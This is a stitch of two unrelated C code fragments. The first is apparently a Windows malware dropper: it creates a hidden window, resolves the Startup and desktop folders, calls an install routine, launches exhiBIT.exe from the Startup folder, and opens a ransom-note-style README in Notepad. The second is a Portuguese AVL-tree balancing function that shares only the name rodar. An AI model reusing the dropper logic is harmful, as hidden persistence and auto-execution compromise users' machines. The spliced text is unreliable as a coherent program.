int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WNDCLASSEX wc; HWND hwnd; MSG Msg; char exhiBIT_path[MAX_PATH] = {0}; char readme_path[MAX_PATH] = {0}; // some jibber-jabber about window's classes wc.cbSize = sizeof(WNDCLASSEX); wc.style = 0; wc.lpfnWndProc = WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wc.lpszMenuName = NULL; wc.lpszClassName = g_szClassName; wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); if(!RegisterClassEx(&wc)) { printf("Can't register window.\n"); return 0; } // this is the forever-hidden window hwnd = CreateWindowEx( WS_EX_CLIENTEDGE, g_szClassName, "", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, hInstance, NULL); if(hwnd == NULL) { printf("Can't create window.\n"); return 0; } get_startup_path(hwnd, &startup_path[0]); get_desktop_folder_path(hwnd, &desktop_folder_path[0]); get_desktop_subfolder_path(hwnd, &desktop_subfolder_path[0]); instalar(); sprintf(exhiBIT_path, "%s\\exhiBIT.exe", startup_path); rodar(exhiBIT_path, NULL); sprintf(readme_path, "C:\\Windows\\notepad.exe %s\\exhiBIT_README.txt", desktop_subfolder_path); rodar(NULL, readme_path); return 0; }
/* balancear * Esta função recebe uma AVL e a direção para onde * a vai rodar e balanceia os nós da àrvore. */ AVL balancear(AVL t, int dir) { if (t->filho[dir]->factor_balanceamento==dir) { /* Rotacao simples a filho[!dir]uerda*/ t = rodar(t,!dir); t->factor_balanceamento = EQUAL; t->filho[!dir]->factor_balanceamento = EQUAL; }else{ /*Dupla rotacao*/ t->filho[dir] = rodar(t->filho[dir],dir); t = rodar(t,!dir); if (t->factor_balanceamento==EQUAL) t->filho[dir]->factor_balanceamento=t->filho[!dir]->factor_balanceamento=EQUAL; else if (t->factor_balanceamento==!dir) { t->filho[!dir]->factor_balanceamento = EQUAL; t->filho[dir]->factor_balanceamento = dir; } else if (t->factor_balanceamento==dir) { t->filho[!dir]->factor_balanceamento = !dir; t->filho[dir]->factor_balanceamento = EQUAL; } t->factor_balanceamento = EQUAL; } return t; }